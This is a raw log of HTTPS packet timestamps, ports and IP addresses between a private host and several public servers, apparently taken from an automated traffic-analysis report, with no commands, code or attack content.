Dec 9, 2024 14:20:14.613755941 CET	49881	443	192.168.2.9	43.152.64.207
Dec 9, 2024 14:20:14.614367962 CET	443	49881	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:14.614422083 CET	49881	443	192.168.2.9	43.152.64.207
Dec 9, 2024 14:20:14.614567995 CET	49881	443	192.168.2.9	43.152.64.207
Dec 9, 2024 14:20:14.614646912 CET	443	49881	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:14.614734888 CET	49881	443	192.168.2.9	43.152.64.207
Dec 9, 2024 14:20:14.614748001 CET	443	49881	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:14.639192104 CET	49888	443	192.168.2.9	172.67.129.98
Dec 9, 2024 14:20:14.654443979 CET	49881	443	192.168.2.9	43.152.64.207
Dec 9, 2024 14:20:15.233853102 CET	443	49881	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:15.233876944 CET	443	49881	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:15.233885050 CET	443	49881	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:15.233988047 CET	49881	443	192.168.2.9	43.152.64.207
Dec 9, 2024 14:20:15.234025002 CET	443	49881	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:15.258573055 CET	443	49881	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:15.258719921 CET	49881	443	192.168.2.9	43.152.64.207
Dec 9, 2024 14:20:15.258750916 CET	443	49881	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:15.313800097 CET	49881	443	192.168.2.9	43.152.64.207
Dec 9, 2024 14:20:15.406924963 CET	443	49881	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:15.406941891 CET	443	49881	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:15.406994104 CET	443	49881	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:15.407073021 CET	49881	443	192.168.2.9	43.152.64.207
Dec 9, 2024 14:20:15.407099009 CET	49881	443	192.168.2.9	43.152.64.207
Dec 9, 2024 14:20:15.431118011 CET	443	49881	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:15.431127071 CET	443	49881	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:15.431258917 CET	49881	443	192.168.2.9	43.152.64.207
Dec 9, 2024 14:20:15.431279898 CET	443	49881	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:15.459660053 CET	443	49881	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:15.459669113 CET	443	49881	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:15.459803104 CET	49881	443	192.168.2.9	43.152.64.207
Dec 9, 2024 14:20:15.459837914 CET	443	49881	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:15.481087923 CET	443	49881	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:15.481106997 CET	443	49881	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:15.481141090 CET	443	49881	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:15.481223106 CET	49881	443	192.168.2.9	43.152.64.207
Dec 9, 2024 14:20:15.481240034 CET	443	49881	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:15.481251001 CET	49881	443	192.168.2.9	43.152.64.207
Dec 9, 2024 14:20:15.502649069 CET	443	49881	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:15.502661943 CET	443	49881	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:15.502701044 CET	443	49881	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:15.502789974 CET	49881	443	192.168.2.9	43.152.64.207
Dec 9, 2024 14:20:15.502813101 CET	443	49881	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:15.502826929 CET	49881	443	192.168.2.9	43.152.64.207
Dec 9, 2024 14:20:15.542525053 CET	49881	443	192.168.2.9	43.152.64.207
Dec 9, 2024 14:20:15.598717928 CET	443	49881	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:15.598737955 CET	443	49881	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:15.598782063 CET	443	49881	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:15.598870993 CET	49881	443	192.168.2.9	43.152.64.207
Dec 9, 2024 14:20:15.598870993 CET	49881	443	192.168.2.9	43.152.64.207
Dec 9, 2024 14:20:15.622621059 CET	443	49881	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:15.622631073 CET	443	49881	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:15.622668982 CET	443	49881	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:15.622776031 CET	49881	443	192.168.2.9	43.152.64.207
Dec 9, 2024 14:20:15.625001907 CET	49881	443	192.168.2.9	43.152.64.207
Dec 9, 2024 14:20:15.638467073 CET	443	49881	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:15.638477087 CET	443	49881	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:15.638607979 CET	49881	443	192.168.2.9	43.152.64.207
Dec 9, 2024 14:20:15.638642073 CET	443	49881	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:15.653359890 CET	443	49881	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:15.653403997 CET	443	49881	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:15.653500080 CET	49881	443	192.168.2.9	43.152.64.207
Dec 9, 2024 14:20:15.653529882 CET	443	49881	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:15.653662920 CET	49881	443	192.168.2.9	43.152.64.207
Dec 9, 2024 14:20:15.672334909 CET	443	49881	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:15.672374010 CET	443	49881	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:15.672426939 CET	49881	443	192.168.2.9	43.152.64.207
Dec 9, 2024 14:20:15.672427893 CET	49881	443	192.168.2.9	43.152.64.207
Dec 9, 2024 14:20:15.672456026 CET	443	49881	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:15.705907106 CET	443	49881	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:15.705918074 CET	443	49881	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:15.705938101 CET	443	49881	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:15.705946922 CET	443	49881	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:15.706047058 CET	49881	443	192.168.2.9	43.152.64.207
Dec 9, 2024 14:20:15.706085920 CET	443	49881	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:15.706099987 CET	49881	443	192.168.2.9	43.152.64.207
Dec 9, 2024 14:20:15.760557890 CET	49881	443	192.168.2.9	43.152.64.207
Dec 9, 2024 14:20:15.796571016 CET	443	49881	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:15.796585083 CET	443	49881	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:15.796605110 CET	443	49881	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:15.796613932 CET	443	49881	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:15.796717882 CET	49881	443	192.168.2.9	43.152.64.207
Dec 9, 2024 14:20:15.796752930 CET	443	49881	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:15.796804905 CET	49881	443	192.168.2.9	43.152.64.207
Dec 9, 2024 14:20:15.816766024 CET	443	49881	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:15.816777945 CET	443	49881	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:15.816821098 CET	443	49881	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:15.816854954 CET	443	49881	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:15.816869020 CET	49881	443	192.168.2.9	43.152.64.207
Dec 9, 2024 14:20:15.816886902 CET	443	49881	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:15.816915035 CET	49881	443	192.168.2.9	43.152.64.207
Dec 9, 2024 14:20:15.816930056 CET	49881	443	192.168.2.9	43.152.64.207
Dec 9, 2024 14:20:15.837476015 CET	443	49881	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:15.837516069 CET	443	49881	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:15.837559938 CET	49881	443	192.168.2.9	43.152.64.207
Dec 9, 2024 14:20:15.837579012 CET	443	49881	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:15.837604046 CET	49881	443	192.168.2.9	43.152.64.207
Dec 9, 2024 14:20:15.837621927 CET	49881	443	192.168.2.9	43.152.64.207
Dec 9, 2024 14:20:15.856863976 CET	443	49881	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:15.856894016 CET	443	49881	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:15.856988907 CET	49881	443	192.168.2.9	43.152.64.207
Dec 9, 2024 14:20:15.857007980 CET	443	49881	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:15.857052088 CET	49881	443	192.168.2.9	43.152.64.207
Dec 9, 2024 14:20:15.873397112 CET	443	49881	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:15.873414040 CET	443	49881	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:15.873534918 CET	49881	443	192.168.2.9	43.152.64.207
Dec 9, 2024 14:20:15.873569965 CET	443	49881	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:15.873619080 CET	49881	443	192.168.2.9	43.152.64.207
Dec 9, 2024 14:20:15.884320021 CET	443	49881	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:15.884402037 CET	49881	443	192.168.2.9	43.152.64.207
Dec 9, 2024 14:20:15.884411097 CET	443	49881	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:15.893892050 CET	443	49881	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:15.894000053 CET	49881	443	192.168.2.9	43.152.64.207
Dec 9, 2024 14:20:15.894011021 CET	443	49881	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:15.902110100 CET	443	49881	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:15.902231932 CET	49881	443	192.168.2.9	43.152.64.207
Dec 9, 2024 14:20:15.902241945 CET	443	49881	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:15.910336018 CET	443	49881	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:15.910423994 CET	49881	443	192.168.2.9	43.152.64.207
Dec 9, 2024 14:20:15.910433054 CET	443	49881	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:15.921360970 CET	443	49881	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:15.921469927 CET	49881	443	192.168.2.9	43.152.64.207
Dec 9, 2024 14:20:15.921482086 CET	443	49881	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:15.929578066 CET	443	49881	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:15.929645061 CET	49881	443	192.168.2.9	43.152.64.207
Dec 9, 2024 14:20:15.929653883 CET	443	49881	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:15.975811005 CET	49881	443	192.168.2.9	43.152.64.207
Dec 9, 2024 14:20:15.980983973 CET	443	49881	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:15.981000900 CET	443	49881	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:15.981101036 CET	49881	443	192.168.2.9	43.152.64.207
Dec 9, 2024 14:20:15.981122017 CET	443	49881	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:15.993382931 CET	443	49881	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:15.993411064 CET	443	49881	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:15.993443012 CET	443	49881	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:15.993480921 CET	49881	443	192.168.2.9	43.152.64.207
Dec 9, 2024 14:20:15.993491888 CET	443	49881	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:15.993516922 CET	49881	443	192.168.2.9	43.152.64.207
Dec 9, 2024 14:20:16.006356955 CET	443	49881	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:16.006380081 CET	443	49881	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:16.006414890 CET	443	49881	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:16.006480932 CET	49881	443	192.168.2.9	43.152.64.207
Dec 9, 2024 14:20:16.006494999 CET	443	49881	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:16.006508112 CET	49881	443	192.168.2.9	43.152.64.207
Dec 9, 2024 14:20:16.017605066 CET	443	49881	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:16.017635107 CET	443	49881	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:16.017687082 CET	49881	443	192.168.2.9	43.152.64.207
Dec 9, 2024 14:20:16.017700911 CET	443	49881	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:16.017728090 CET	49881	443	192.168.2.9	43.152.64.207
Dec 9, 2024 14:20:16.027292013 CET	443	49881	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:16.027324915 CET	443	49881	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:16.027401924 CET	49881	443	192.168.2.9	43.152.64.207
Dec 9, 2024 14:20:16.027411938 CET	443	49881	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:16.027424097 CET	49881	443	192.168.2.9	43.152.64.207
Dec 9, 2024 14:20:16.033611059 CET	443	49881	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:16.033698082 CET	49881	443	192.168.2.9	43.152.64.207
Dec 9, 2024 14:20:16.033705950 CET	443	49881	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:16.038455963 CET	443	49881	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:16.038528919 CET	49881	443	192.168.2.9	43.152.64.207
Dec 9, 2024 14:20:16.038537025 CET	443	49881	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:16.044616938 CET	443	49881	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:16.044641018 CET	443	49881	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:16.044724941 CET	49881	443	192.168.2.9	43.152.64.207
Dec 9, 2024 14:20:16.044740915 CET	443	49881	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:16.048618078 CET	443	49881	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:16.048698902 CET	49881	443	192.168.2.9	43.152.64.207
Dec 9, 2024 14:20:16.048711061 CET	443	49881	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:16.051745892 CET	443	49881	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:16.051830053 CET	49881	443	192.168.2.9	43.152.64.207
Dec 9, 2024 14:20:16.051840067 CET	443	49881	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:16.099081039 CET	49881	443	192.168.2.9	43.152.64.207
Dec 9, 2024 14:20:16.172642946 CET	443	49881	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:16.172657013 CET	443	49881	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:16.172699928 CET	443	49881	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:16.172725916 CET	443	49881	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:16.172730923 CET	49881	443	192.168.2.9	43.152.64.207
Dec 9, 2024 14:20:16.172759056 CET	443	49881	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:16.172774076 CET	49881	443	192.168.2.9	43.152.64.207
Dec 9, 2024 14:20:16.172795057 CET	49881	443	192.168.2.9	43.152.64.207
Dec 9, 2024 14:20:16.178195953 CET	443	49881	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:16.178222895 CET	443	49881	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:16.178270102 CET	49881	443	192.168.2.9	43.152.64.207
Dec 9, 2024 14:20:16.178289890 CET	443	49881	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:16.178311110 CET	49881	443	192.168.2.9	43.152.64.207
Dec 9, 2024 14:20:16.178329945 CET	49881	443	192.168.2.9	43.152.64.207
Dec 9, 2024 14:20:16.183037043 CET	443	49881	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:16.183059931 CET	443	49881	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:16.183113098 CET	49881	443	192.168.2.9	43.152.64.207
Dec 9, 2024 14:20:16.183124065 CET	443	49881	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:16.183139086 CET	49881	443	192.168.2.9	43.152.64.207
Dec 9, 2024 14:20:16.183667898 CET	49881	443	192.168.2.9	43.152.64.207
Dec 9, 2024 14:20:16.188750029 CET	443	49881	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:16.188791037 CET	443	49881	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:16.188826084 CET	49881	443	192.168.2.9	43.152.64.207
Dec 9, 2024 14:20:16.188853025 CET	443	49881	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:16.188874006 CET	49881	443	192.168.2.9	43.152.64.207
Dec 9, 2024 14:20:16.188886881 CET	49881	443	192.168.2.9	43.152.64.207
Dec 9, 2024 14:20:16.193939924 CET	443	49881	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:16.193958044 CET	443	49881	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:16.194003105 CET	49881	443	192.168.2.9	43.152.64.207
Dec 9, 2024 14:20:16.194017887 CET	443	49881	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:16.194040060 CET	49881	443	192.168.2.9	43.152.64.207
Dec 9, 2024 14:20:16.194056034 CET	49881	443	192.168.2.9	43.152.64.207
Dec 9, 2024 14:20:16.196460009 CET	443	49881	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:16.196532011 CET	49881	443	192.168.2.9	43.152.64.207
Dec 9, 2024 14:20:16.196547031 CET	443	49881	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:16.201622963 CET	443	49881	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:16.201643944 CET	443	49881	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:16.201685905 CET	49881	443	192.168.2.9	43.152.64.207
Dec 9, 2024 14:20:16.201710939 CET	443	49881	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:16.201729059 CET	49881	443	192.168.2.9	43.152.64.207
Dec 9, 2024 14:20:16.207056046 CET	443	49881	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:16.207073927 CET	443	49881	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:16.207118988 CET	49881	443	192.168.2.9	43.152.64.207
Dec 9, 2024 14:20:16.207146883 CET	443	49881	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:16.212789059 CET	443	49881	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:16.212809086 CET	443	49881	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:16.212891102 CET	49881	443	192.168.2.9	43.152.64.207
Dec 9, 2024 14:20:16.212891102 CET	49881	443	192.168.2.9	43.152.64.207
Dec 9, 2024 14:20:16.212918997 CET	443	49881	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:16.243458986 CET	443	49888	172.67.129.98	192.168.2.9
Dec 9, 2024 14:20:16.243566990 CET	443	49888	172.67.129.98	192.168.2.9
Dec 9, 2024 14:20:16.243613005 CET	49888	443	192.168.2.9	172.67.129.98
Dec 9, 2024 14:20:16.245024920 CET	49888	443	192.168.2.9	172.67.129.98
Dec 9, 2024 14:20:16.245049000 CET	443	49888	172.67.129.98	192.168.2.9
Dec 9, 2024 14:20:16.268182039 CET	49881	443	192.168.2.9	43.152.64.207
Dec 9, 2024 14:20:16.367640018 CET	443	49881	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:16.367655039 CET	443	49881	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:16.367698908 CET	443	49881	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:16.367748976 CET	49881	443	192.168.2.9	43.152.64.207
Dec 9, 2024 14:20:16.367785931 CET	443	49881	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:16.367803097 CET	49881	443	192.168.2.9	43.152.64.207
Dec 9, 2024 14:20:16.367825031 CET	49881	443	192.168.2.9	43.152.64.207
Dec 9, 2024 14:20:16.372730017 CET	443	49881	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:16.372750044 CET	443	49881	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:16.372807980 CET	49881	443	192.168.2.9	43.152.64.207
Dec 9, 2024 14:20:16.372836113 CET	443	49881	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:16.372850895 CET	49881	443	192.168.2.9	43.152.64.207
Dec 9, 2024 14:20:16.372878075 CET	49881	443	192.168.2.9	43.152.64.207
Dec 9, 2024 14:20:16.377315998 CET	443	49881	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:16.377358913 CET	443	49881	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:16.377376080 CET	49881	443	192.168.2.9	43.152.64.207
Dec 9, 2024 14:20:16.377382994 CET	443	49881	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:16.377408981 CET	443	49881	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:16.377428055 CET	49881	443	192.168.2.9	43.152.64.207
Dec 9, 2024 14:20:16.377443075 CET	49881	443	192.168.2.9	43.152.64.207
Dec 9, 2024 14:20:16.377465010 CET	49881	443	192.168.2.9	43.152.64.207
Dec 9, 2024 14:20:16.377634048 CET	49881	443	192.168.2.9	43.152.64.207
Dec 9, 2024 14:20:16.377656937 CET	443	49881	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:16.389249086 CET	49894	443	192.168.2.9	104.21.1.136
Dec 9, 2024 14:20:16.389293909 CET	443	49894	104.21.1.136	192.168.2.9
Dec 9, 2024 14:20:16.389482975 CET	49894	443	192.168.2.9	104.21.1.136
Dec 9, 2024 14:20:16.389651060 CET	49894	443	192.168.2.9	104.21.1.136
Dec 9, 2024 14:20:16.389662981 CET	443	49894	104.21.1.136	192.168.2.9
Dec 9, 2024 14:20:17.655714035 CET	443	49894	104.21.1.136	192.168.2.9
Dec 9, 2024 14:20:17.661114931 CET	49894	443	192.168.2.9	104.21.1.136
Dec 9, 2024 14:20:17.661143064 CET	443	49894	104.21.1.136	192.168.2.9
Dec 9, 2024 14:20:17.662182093 CET	443	49894	104.21.1.136	192.168.2.9
Dec 9, 2024 14:20:17.662250042 CET	49894	443	192.168.2.9	104.21.1.136
Dec 9, 2024 14:20:17.662688971 CET	49894	443	192.168.2.9	104.21.1.136
Dec 9, 2024 14:20:17.662703991 CET	49894	443	192.168.2.9	104.21.1.136
Dec 9, 2024 14:20:17.662746906 CET	443	49894	104.21.1.136	192.168.2.9
Dec 9, 2024 14:20:17.662750006 CET	49894	443	192.168.2.9	104.21.1.136
Dec 9, 2024 14:20:17.662800074 CET	49894	443	192.168.2.9	104.21.1.136
Dec 9, 2024 14:20:17.663149118 CET	49900	443	192.168.2.9	104.21.1.136
Dec 9, 2024 14:20:17.663187981 CET	443	49900	104.21.1.136	192.168.2.9
Dec 9, 2024 14:20:17.663244963 CET	49900	443	192.168.2.9	104.21.1.136
Dec 9, 2024 14:20:17.663434982 CET	49900	443	192.168.2.9	104.21.1.136
Dec 9, 2024 14:20:17.663450003 CET	443	49900	104.21.1.136	192.168.2.9
Dec 9, 2024 14:20:18.877052069 CET	443	49900	104.21.1.136	192.168.2.9
Dec 9, 2024 14:20:18.877393007 CET	49900	443	192.168.2.9	104.21.1.136
Dec 9, 2024 14:20:18.877408028 CET	443	49900	104.21.1.136	192.168.2.9
Dec 9, 2024 14:20:18.878411055 CET	443	49900	104.21.1.136	192.168.2.9
Dec 9, 2024 14:20:18.878485918 CET	49900	443	192.168.2.9	104.21.1.136
Dec 9, 2024 14:20:18.878835917 CET	49900	443	192.168.2.9	104.21.1.136
Dec 9, 2024 14:20:18.878882885 CET	443	49900	104.21.1.136	192.168.2.9
Dec 9, 2024 14:20:18.878981113 CET	49900	443	192.168.2.9	104.21.1.136
Dec 9, 2024 14:20:18.878985882 CET	443	49900	104.21.1.136	192.168.2.9
Dec 9, 2024 14:20:18.921114922 CET	49900	443	192.168.2.9	104.21.1.136
Dec 9, 2024 14:20:19.423747063 CET	49902	443	192.168.2.9	152.199.21.175
Dec 9, 2024 14:20:19.423787117 CET	443	49902	152.199.21.175	192.168.2.9
Dec 9, 2024 14:20:19.423847914 CET	49902	443	192.168.2.9	152.199.21.175
Dec 9, 2024 14:20:19.424066067 CET	49902	443	192.168.2.9	152.199.21.175
Dec 9, 2024 14:20:19.424083948 CET	443	49902	152.199.21.175	192.168.2.9
Dec 9, 2024 14:20:19.451962948 CET	443	49900	104.21.1.136	192.168.2.9
Dec 9, 2024 14:20:19.452044964 CET	443	49900	104.21.1.136	192.168.2.9
Dec 9, 2024 14:20:19.452145100 CET	49900	443	192.168.2.9	104.21.1.136
Dec 9, 2024 14:20:19.452838898 CET	49900	443	192.168.2.9	104.21.1.136
Dec 9, 2024 14:20:19.452863932 CET	443	49900	104.21.1.136	192.168.2.9
Dec 9, 2024 14:20:20.018958092 CET	443	49851	104.21.1.136	192.168.2.9
Dec 9, 2024 14:20:20.019043922 CET	443	49851	104.21.1.136	192.168.2.9
Dec 9, 2024 14:20:20.019119024 CET	49851	443	192.168.2.9	104.21.1.136
Dec 9, 2024 14:20:21.150711060 CET	49851	443	192.168.2.9	104.21.1.136
Dec 9, 2024 14:20:21.150755882 CET	443	49851	104.21.1.136	192.168.2.9
Dec 9, 2024 14:20:21.189068079 CET	443	49902	152.199.21.175	192.168.2.9
Dec 9, 2024 14:20:21.189306021 CET	49902	443	192.168.2.9	152.199.21.175
Dec 9, 2024 14:20:21.189316034 CET	443	49902	152.199.21.175	192.168.2.9
Dec 9, 2024 14:20:21.190567970 CET	443	49902	152.199.21.175	192.168.2.9
Dec 9, 2024 14:20:21.190624952 CET	49902	443	192.168.2.9	152.199.21.175
Dec 9, 2024 14:20:21.191766977 CET	49902	443	192.168.2.9	152.199.21.175
Dec 9, 2024 14:20:21.191863060 CET	443	49902	152.199.21.175	192.168.2.9
Dec 9, 2024 14:20:21.191957951 CET	49902	443	192.168.2.9	152.199.21.175
Dec 9, 2024 14:20:21.191965103 CET	443	49902	152.199.21.175	192.168.2.9
Dec 9, 2024 14:20:21.242520094 CET	49902	443	192.168.2.9	152.199.21.175
Dec 9, 2024 14:20:21.693432093 CET	443	49902	152.199.21.175	192.168.2.9
Dec 9, 2024 14:20:21.693495989 CET	443	49902	152.199.21.175	192.168.2.9
Dec 9, 2024 14:20:21.693576097 CET	443	49902	152.199.21.175	192.168.2.9
Dec 9, 2024 14:20:21.693671942 CET	49902	443	192.168.2.9	152.199.21.175
Dec 9, 2024 14:20:21.693784952 CET	49902	443	192.168.2.9	152.199.21.175
Dec 9, 2024 14:20:21.695188046 CET	49902	443	192.168.2.9	152.199.21.175
Dec 9, 2024 14:20:21.695209026 CET	443	49902	152.199.21.175	192.168.2.9
Dec 9, 2024 14:20:21.838874102 CET	49916	443	192.168.2.9	152.199.21.175
Dec 9, 2024 14:20:21.838926077 CET	443	49916	152.199.21.175	192.168.2.9
Dec 9, 2024 14:20:21.839035034 CET	49916	443	192.168.2.9	152.199.21.175
Dec 9, 2024 14:20:21.839268923 CET	49916	443	192.168.2.9	152.199.21.175
Dec 9, 2024 14:20:21.839282990 CET	443	49916	152.199.21.175	192.168.2.9
Dec 9, 2024 14:20:23.595623016 CET	443	49916	152.199.21.175	192.168.2.9
Dec 9, 2024 14:20:23.595901012 CET	49916	443	192.168.2.9	152.199.21.175
Dec 9, 2024 14:20:23.595936060 CET	443	49916	152.199.21.175	192.168.2.9
Dec 9, 2024 14:20:23.596963882 CET	443	49916	152.199.21.175	192.168.2.9
Dec 9, 2024 14:20:23.597021103 CET	49916	443	192.168.2.9	152.199.21.175
Dec 9, 2024 14:20:23.597434044 CET	49916	443	192.168.2.9	152.199.21.175
Dec 9, 2024 14:20:23.597496986 CET	443	49916	152.199.21.175	192.168.2.9
Dec 9, 2024 14:20:23.597704887 CET	49916	443	192.168.2.9	152.199.21.175
Dec 9, 2024 14:20:23.597717047 CET	443	49916	152.199.21.175	192.168.2.9
Dec 9, 2024 14:20:23.650440931 CET	49916	443	192.168.2.9	152.199.21.175
Dec 9, 2024 14:20:24.107697964 CET	443	49916	152.199.21.175	192.168.2.9
Dec 9, 2024 14:20:24.107815981 CET	443	49916	152.199.21.175	192.168.2.9
Dec 9, 2024 14:20:24.107963085 CET	49916	443	192.168.2.9	152.199.21.175
Dec 9, 2024 14:20:24.107986927 CET	443	49916	152.199.21.175	192.168.2.9
Dec 9, 2024 14:20:24.108057022 CET	443	49916	152.199.21.175	192.168.2.9
Dec 9, 2024 14:20:24.108110905 CET	49916	443	192.168.2.9	152.199.21.175
Dec 9, 2024 14:20:24.108989000 CET	49916	443	192.168.2.9	152.199.21.175
Dec 9, 2024 14:20:24.109004974 CET	443	49916	152.199.21.175	192.168.2.9
Dec 9, 2024 14:20:25.041693926 CET	49924	443	192.168.2.9	172.217.21.36
Dec 9, 2024 14:20:25.041742086 CET	443	49924	172.217.21.36	192.168.2.9
Dec 9, 2024 14:20:25.041834116 CET	49924	443	192.168.2.9	172.217.21.36
Dec 9, 2024 14:20:25.042074919 CET	49924	443	192.168.2.9	172.217.21.36
Dec 9, 2024 14:20:25.042084932 CET	443	49924	172.217.21.36	192.168.2.9
Dec 9, 2024 14:20:26.736720085 CET	443	49924	172.217.21.36	192.168.2.9
Dec 9, 2024 14:20:26.737096071 CET	49924	443	192.168.2.9	172.217.21.36
Dec 9, 2024 14:20:26.737128019 CET	443	49924	172.217.21.36	192.168.2.9
